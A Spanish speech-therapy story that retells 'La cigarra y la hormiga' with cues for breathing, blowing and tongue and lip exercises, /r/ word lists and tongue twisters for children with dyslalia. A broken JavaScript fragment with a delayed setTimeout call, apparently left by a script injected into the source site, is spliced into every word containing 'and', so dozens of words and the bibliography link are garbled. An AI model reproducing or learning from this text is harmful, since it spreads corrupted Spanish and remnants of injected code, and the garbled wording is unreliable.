PREVENCIÓN DE DISLALIAS

Autora: Patricia García Benítez

          El cuento que se expone a continuación va dirigido a aquellos niños y niñas que tienen dificultades para articular la /r/ y /rr/; por lo que tiene como principal objetivo lograr una perfecta articulación de ambos fonemas, explorandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando, en primer lugar, sus puntos de articulación, entrenandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando la capacidad de articularlos y afianzándolos, por último, en combinación con las diferentes vocales y consonantes.

 CUENTO: LA CIGARRA Y LA HORMIGA

             En los felices días de verano, cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando los rayos del sol se reflejaban con fuerza, la cigarra se pasaba todo el día relajada sin hacer nada (el terapeuta le dice al niño que se tumbe en la colchoneta, que se relaje e inspire profundamente, que retenga el aire unos segundos y lo expulse lentamente, concentrándose en la respiración).

          Estaba todo el día tumbada a la sombra, cantandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando felizmente con su guitarra, mientras cientos de animalitos, que paseaban por el bosque, escuchaban sus canciones:

“En mi casa, sí señor, somos músicos de honor,

 pues tenemos una orquesta, con muchísima creación. 

 Si tú quieres que te enseñe a tocar la melodía,

depende del instrumento  que te traigas ese día.

Si tocas la trompeta: tra, tratrá;

Si tocas el clarinete: cre, crecré;

Si tocas el violín: pri, priprí;

Si tocas el tambor: bro, brobró”

            Era verano y hacia mucho calor para ponerse a trabajar; por eso, cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando todos sus amigos estaban trabajandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando, la cigarra se aburría muchísimo (con la boca abierta el niño debe bostezar, fomentandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando así la movilidad facial y labial).

             Las hormigas, en cambio, trabajaban sin parar bajo el ardiente sol, recogiendo granos y semillas. Respiraban tan rápido que apenas tenían fuerzas para continuar (el niño respira tan rápido como las hormigas: inspiración nasal rápida, retención del aire y espiración rápida con la boca entreabierta; actividad de coordinación respiratoria), ¡cuánto sudaban las pobres! (el terapeuta pedirá al niño que sople su flequillo, para lo cual deberá montar el labio inferior sobre el superior y, en esa posición, soplar), pero sabían que tenían que aprovechar los días de verano.

-       “¡Vamos chicas, que ya queda poco…!” –decía la más fuerte.

-       “Un pequeño esfuerzo más…”

-       “Necesitamos mucha comida para que no pasemos hambre en el invierno” -animaban las hormigas más grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andes.

            Se colocaban una detrás de otra, para que las más pequeñas no se perdieran. Además, para que el trabajo se les hiciera más divertido, iban cantandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando canciones:

“Cinco ratoncitos de colita gris,

mueven las orejas, mueven la nariz,

abren los ojitos, comen sin cesar,

por si viene el gato, que los comerá,

comen un quesito, y a su casa van,

cerrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando la puerta, a dormir se van”.

            Las hormiguitas más grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andes, enseñaban trabalenguas a sus hermanas y primas pequeñas:

Erre con erre, carrito; erre con erre, carril; mira que rápido ruedan las ruedas del ferrocarril. Erre con erre, guitarra; erre con erre, barril; rueda que te ruedan las ruedas del ferrocarril”.

            La cigarra sorprendida del trabajo que realizaban las hormigas (el terapeuta le dirá al niño que frunza la frente con la sensación de estar sorprendido; mejorar la movilidad facial) le dijo a una de ellas:

-       “¡Eh! hormiguita, ¿qué haces?”

-       “¿Quién me está hablandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando?” –contestó la hormiga muy despistada.

-       “¿No te das cuenta de que es verano? Mira a tu alrededor: ¡todo es alegría y color!, los árboles están verdes (para expresar la altura de los árboles, el terapeuta pide al niño que saque la lengua y la dirija hacia la punta de la nariz; favorecer la movilidad lingual), el paisaje está lleno de flores de colores (el niño inspira por la nariz lenta y profundamente, retiene el aire tres segundos y lo expulsa por la boca lentamente y con los labios muy unidos; fomentar la adecuada inspiración, controlar la aspiración, el soplo y la cantidad de aire expulsado al expirar), en los lagos nadan peces libremente (el terapeuta pide al niño que adelante al máximo los labios y los abra y cierre como los peces, mientras que los dientes permanecen juntos; favorecer la movilidad labial), los caracoles y las tortugas pasean tranquilamente a vuestros alrededores (el niño imita a estos animales sacandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando la lengua deprisa y metiéndola en la boca despacio; favorecer la movilidad lingual), las ardillas corren de un lado para otro… (el niño debe mostrar y sacar los dientes superiores imitandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando a una ardilla; favorecer la movilidad mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andibular) ¡Disfruta y deja ya de trabajar! ¡Con lo bien que se está tumbada aquí! (el niño levantará los brazos hacia arriba estirándose, de esta manera, eliminará la tensión muscular) –comentó la cigarra a una hormiga”.

            La hormiguita miró a su alrededor, porque no sabía de dónde venía esa voz (el niño pasa la punta de la lengua alrededor de los labios, sin parar, por todo el contorno de la boca; favorecer la movilidad lingual). De pronto, sintió un fuerte soplido que venía desde arriba.

            Materiales: velas, trocitos de papel de seda, matasuegras, globos.

            El terapeuta coloca trocitos de papel de seda sobre una mesa, mientras que el niño toma aire por la nariz e infla las mejillas, para que, después de una inspiración nasal lenta y profunda, sople con fuerza sobre ellos, haciendo que se dispersen de un solo soplido.

          Encenderá una vela colocada a 15 cm. Tras una inspiración lenta y profunda, deberá soplar y apagarla. Se aumentará paulatinamente la distancia, para aumentar la distancia del soplo.

          Encenderá dos velas colocadas en fila, la primera a 15 cm, y deberá soplar, tras una inspiración lenta y profunda, para apagar las dos llamas. Se irá aumentandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando el número de veces paulatinamente.

          Utilizará un matasuegras, soplandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando sobre él con fuerza para extenderlo totalmente, sin que se deba mantener en esa posición.

            Inflará globos realizandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando soplidos fuertes y continuos.

-       “Es que… es que…” -dijo la hormiga.

          La hormiga hizo una pausa y esperó ,porque estaba muy fatigada.

-       “Verás…” -dijo la hormiga.

            La hormiga se aclaró la garganta y continuó (ahora el niño se aclara la garganta, haciendo ejercicios de gárgaras con agua, para lo cual el terapeuta le dará un vaso y le indicará que debe dar un pequeño sorbo de agua. Después, deberá llevarse esa agua de un lado a otro de la boca, ayudándose con la lengua. Por último, el niño se inclinará hacia atrás y hará gárgaras con el agua. El terapeuta le demuestra primero al niño cómo se hace).

-       “A nosotras también nos gustaría disfrutar de este día, pero tenemos mucho que hacer”.

-   “¡Qué tontería!” –dijo la cigarra.

-       “¡No es ninguna tontería!, tenemos que recoger granos y semillas en el verano. Oye, las cigarras ¿no?” –preguntó tímidamente la hormiga.

-       “¡Ja, ja, ja!” –rio la cigarra (el niño tiene que apretar los labios, aflojarlos sin abrir la boca y, a continuación, reír. Por último, proyectar los labios unidos y, seguidamente, manteniéndolos, estirar la boca sonriendo; favorecer la movilidad labial). “¡Qué va! Nosotras somos alegres y disfrutamos cantandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando y bailandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando sin cesar. Además, el bosque está lleno de frutas para poder comer” (el niño abre la boca exageradamente, como para dar un gran mordisco a una manzana, luego simula que la mastica y la traga; favorecer la movilidad mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andibular). ¡Ummm, están deliciosas!” (el niño relame su labio superior con la punta de la lengua, de izquierda a derecha y viceversa; favorecer la movilidad lingual).

          La cigarra intentó convencer a la hormiga para que dejara de trabajar y se pusiera a cantar con ella.

-       “Hormiga, ¿por qué no te animas a quedarte aquí conmigo?, haríamos un dúo, y nos pasaríamos todo el día cantandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando y tocandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando mi guitarra”.

-       “Lo siento, ahora estoy descansandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando un poco, eso es todo” –le contestó la hormiga. “Además, creo que tú también deberías trabajar, porque pronto llegará el invierno, y si no reúnes suficiente comida, te morirás” – añadió la hormiga.

          La cigarra sonrió con ironía y dijo:

-       “¿Yo trabajar? Ja, ja, ja” (el niño sonríe y produce las vocales /i/, /a/ fomentándose la movilidad de los labios)

-       “Pero… ¡no lograrás sobrevivir cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando llegue el invierno!”– dijo la hormiga con preocupación.

-       “No te preocupes por mí, yo os acompañaré mientras trabajáis, y seguiré cantandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando”.

            Las hormigas pasaban delante de la cigarra y, mirándole de reojo (el terapeuta le pedirá al niño que siga con la vista sin mover la cabeza una vela, un objeto o un dibujo; fomentar la movilidad facial) y sudandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando sin parar, pensaban:

-       “¡Qué holgazana es esta cigarra!”

-       “¡Más le valdría dejar de cantar y ponerse a trabajar!”

           (El terapeuta le dirá al niño que frunza la frente, con la sensación de “estar enfadado” y que, más tarde, haga muecas poniendo boca malhumorada; favorecer la movilidad facial)

            En la cueva, la hormiga reina llevaba la cuenta de todas las provisiones que iban almacenandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando:

-       “¡No hay tiempo que perder! Treinta y tres, treinta y cuatro…” 

-       “Lo siento, he perdido un poco de tiempo, porque la cigarra me ha entretenido” –dijo la hormiga disculpándose.

-       “¡Está bien! Lleva esta semilla a tus compañeras para que la guarden en el almacén” –ordenó la reina del hormiguero con gran energía.

            La cigarra, muy lentamente, se acercó al almacén de las hormigas y allí, sin que ninguna se diera cuenta, miró hacia arriba y hacia abajo (el niño eleva la punta de la lengua hacia al nariz y la baja hacia la barbilla. A continuación, mueve la lengua dentro de la boca de arriba a abajo del paladar y repite el ejercicio varias veces, descansandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando en cada una de las series; favorecer la movilidad lingual), hacia la izquierda y hacia la derecha (el terapeuta pedirá al niño que saque la punta de la lengua alternativamente por la comisura de los labios. A continuación, saca la lengua hacia la derecha, la mueve hacia la izquierda, de nuevo hacia la derecha y finalmente hacia la izquierda, repitiendo el ejercicio varias veces, descansandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando en cada una de las series; favorecer la movilidad lingual) para ver todo lo que tenían. La cigarra se quedó muy sorprendida al ver a todas las hormigas almacenandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando comida:

-      “¡Oh!” (el niño articulará el fonema /o/ exagerandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando el movimiento de los labios; fomentar la movilidad de los labios) –se sorprendió la cigarra. “¿Para qué guardarán tanta comida?”, se preguntaba, “¡parece que tienen un enorme banquete!”

         Mientras los mayores almacenaban la comida, las hormigas más pequeñas correteaban y jugaban entre ellas:

-       “Yo digo palabras y vosotras debéis repetirlas, ¿de acuerdo?” –decía una de las hormigas.

-       “¡Vale!” –contestaron las demás.

 Introducción del sinfón /br/ en el lenguaje repetido:

            “Brazo, brecha, brisa, broma, brújula, sobrado, pobreza, sobrino, libro, abruma, bravo, brasero, timbre, brebaje, embrujo”.

Introducción del sinfón /pr/ en el lenguaje repetido:

            “Prado, premio, prisa, apruebo, propina, prudente, pronto, lepra, probar, apresar, capricho, prueba, preso, primavera, primo”.

Introducción del sinfón /tr/ en el lenguaje repetido:

            “Trabajo, trepa, trineo, trozo, truco, letra, atrever, patria, cuatro, trueno, trompa, tronco, traje, tren, trapecista”.

Introducción del sinfón /cr/ en el lenguaje repetido:

            “Cráneo, crecer, criado, cromo, crudo, micra, lacre, escribe, acróbata, cruzado, crema, cresta, crucigrama, cruz, croqueta”.

             No era precisamente un banquete para lo que habían trabajado tanto las hormigas. De pronto, el viento comenzó a soplar (el terapeuta le dará al niño un molinillo de viento, al que tendrá que soplar suave y fuerte para que compruebe la diferencia; reeducación del soplo), y comenzaron a caer gotas de lluvia (el niño se moja los labios, los junta y los separa con suavidad, produciendo un ligero ruido que imita el sonido de las gotas de lluvia cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando caen al suelo, de esta forma, fomenta la apertura y cierre de los labios). El otoño había llegado y, con él, el mal tiempo, las temperaturas comenzaron a bajar…

-       “¡Qué bien! ¡Nuestro almacén está lleno de provisiones!”

-       “¡Sí, démonos prisa en acabar!” – comentaban dos hormigas.

            Las hormigas estaban muy bien guarecidas en su almacén, pero la cigarra seguía con su guitarra a la intemperie.

-       “¡Qué horror!, ¡hace un viento espantoso!” –decía con frío la cigarra.

-        “¡Ah!, (el terapeuta pedirá al niño que articule el fonema /a/ exagerandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando el movimiento de los labios; favorecer la movilidad labial) ¡Casi se me vuela el sombrero!”

            Y tras el otoño… vino el crudo invierno, con sus fríos y sus nieves. Las hormigas estaban calentitas y tenían suficiente comida para pasar todo el invierno.

            Una tarde, las hormigas jóvenes salieron a jugar al bosque, allí realizaron actividades muy divertidas. Una de ellas tenía un pompero, con el cual, hacía grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andes pompas de jabón (el niño soplará por el pompero, primero suave, y, después, irá aumentandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando la intensidad del soplo; reeducación del soplo y la movilidad labial), otras realizaban globos con chicles (favorecer la movilidad mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andibular), las mayores jugaban a lanzar tapones de corcho lo más lejos posible (el niño tiene que sujetar con los labios un tapón de corcho grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande, lanzándolo lo más lejos posible con el impulso de los labios; favorecer la movilidad labial), las más pequeñas preferían jugar a reconocer los sonidos del bosque (el niño escucha e identifica los sonidos de animales, algunos de los cuales contienen la /r/: grillo, búho, serpiente…; se trata de un ejercicio de discriminación auditiva y fonológica), jugar a hacer volar plumas (se diseñarán diferentes caminos, ya sean en línea recta, curvas… por los cuales el niño deberá soplar la pluma y que esta siga la dirección del camino trazado, como reeducación del soplo) y otras muchas actividades divertidas.

            Pero de pronto, una de las hormigas se quedó muy sorprendida. (Levantar las cejas, con los ojos muy abiertos y la boca abierta, diciendo “Oh”; fomentar la movilidad facial). No podía creer lo que estaba viendo y comenzó a abrir y cerrar los ojos rápidamente (fomentar la movilidad facial).

          Se encontraron con algo inesperado: la cigarra envuelta en una capa de hielo sin poder moverse.

-       “¡Eh, venid rápido!, ¡mirad quién está aquí!” –gritó una hormiga asustada.

-       “¡Oh, pero si es la cigarra!, ¡pobrecilla!” –se lamentó otra.

          La cigarra estaba muy enferma, tenía constantes temblores y, para tranquilizarse, inspiraba muy lentamente por la nariz y expulsaba el aire de la misma forma (el niño realiza la misma actividad respiratoria que la cigarra).

          De pronto, un ruido familiar la despertó: eran las hormigas (se colocará al niño tumbado en el suelo y se le pondrá encima del pecho un libro de poco peso. Mientras respira por la nariz, con la boca cerrada, deberá apreciar el movimiento de subida y bajada del mismo).

            Compadeciéndose de la enferma cigarra, las hormigas decidieron invitarla a resguardarse del frío. Entre todas, la llevaron al hormiguero. ¡Qué bien se estaba allí!, todas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andaban cómodamente en zapatillas, ¡qué calentitas! Frente al fuego, las más ancianas enseñaban a las pequeñas canciones antiguas:

          “Mambrú se fue a la guerra, mire usted, mire usted, que pena. Mambrú se fue a la guerra, no sé cuándo vendrá. Do-re-mi, do-re-fa. No sé cuándo vendrá. Si vendrá por la Pascua, mire usted, mire usted, qué gracia. Si vendrá por la Pascua o por la Trinidad. Do-re-mi, do-re-fa. O por la Trinidad. La Trinidad se pasa, mire usted, mire usted, qué guasa. La Trinidad se pasa. Mambrú no viene ya, Do-re-mi, do-re-fa. Mambrú no viene ya”.

          Y mientras unos cortaban el pan para la cena, otros comían deliciosos pasteles (el niño simula masticar, procurandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando un movimiento vertical. A continuación, mastica un chicle alternandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando a un lado y a otro, procurandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando que los labios permanezcan juntos; favorecer la movilidad mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andibular), lamían jalea y leche condensada… (lamer jalea, leche condensada, yogur… sobre el labio o una cuchara; favorecer la movilidad lingual).

            Las hormigas le prepararon a la cigarra un barreño con agua muy caliente (para simular el agua caliente, el niño hará burbujas de agua con una pajita; ejercicio para trabajar las praxias orales), para que pudiera entrar en calor. La taparon con una manta y le ofrecieron un buen caldo. La cigarra estaba contentísima.

-       “Toma esta taza de caldo, te sentará bien” –le ofreció una hormiga.

          La cigarra le dio las gracias y se lo fue bebiendo a pequeños sorbos. (El terapeuta colocará una pajita sumergida en un vaso o recipiente con agua y el niño tendrá que aspirar y beber el agua por medio de la pajita. A continuación, se repetirá el ejercicio, pero colocandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando la pajita en el lado derecho de la boca y, más tarde, en el lado izquierdo de esta; reeducar el soplo).

- “¡Ay!, ¡mira cómo te ves por tu mala cabeza! En verano te reías de nosotras mientras trabajábamos almacenandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando comida y leña para el invierno y, si no te hubiésemos encontrado, habrías muerto de frío y de hambre” –comentó la reina de las hormigas a la cigarra.

            La cigarra dijo arrepentida:

-  “Me equivoqué, perdonadme. He aprendido que hay tiempo para todo: para trabajar y para divertirse”.

            Tras una suculenta comida, la cigarra consiguió hacer un trato con las hormigas: Ella cuidaría de su casa, tocaría la guitarra y cantaría para todas aquellas que quisieran escucharla. A cambio, la cigarra pasaría todo el invierno junto a las hormigas.

-   “Nos gusta mucho la idea. Entonces… ¡que empiece la fiesta!” decían las hormigas.

            La cigarra comenzó a contar algunos trabalenguas que había aprendido en el bosque:

“El perro en el barro rabiandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando rabea; su rabo se embarra cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando el barro barre, y el barro a arrobas le arrebosa el rabo. Por la calle carreta pasaba un perrito, pasó la carreta, le arrolló el rabito. Pobre perrito, ¡cómo lloraba por su rabito!”

            Más tarde, comenzó a tocar la guitarra y a animar a todas las hormigas para que cantaran y bailaran con ella:

“A la zapatilla por detrás, tris-trás, ni la ves ni la verás, tris-trás. Mirad para arriba, que caen judías. Mirad para abajo, que caen garbanzos. ¡A estirar, a estirar, que el demonio va a pasar!”

            Ahora, que es invierno, las hormigas tendrán tiempo de descansar, mientras que la cigarra les alegra las veladas.

 

 

Bibliografía:

  • http://www.juntadeandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andalucia.es/averroes/eoechiclana/ejerciciosr.pdf

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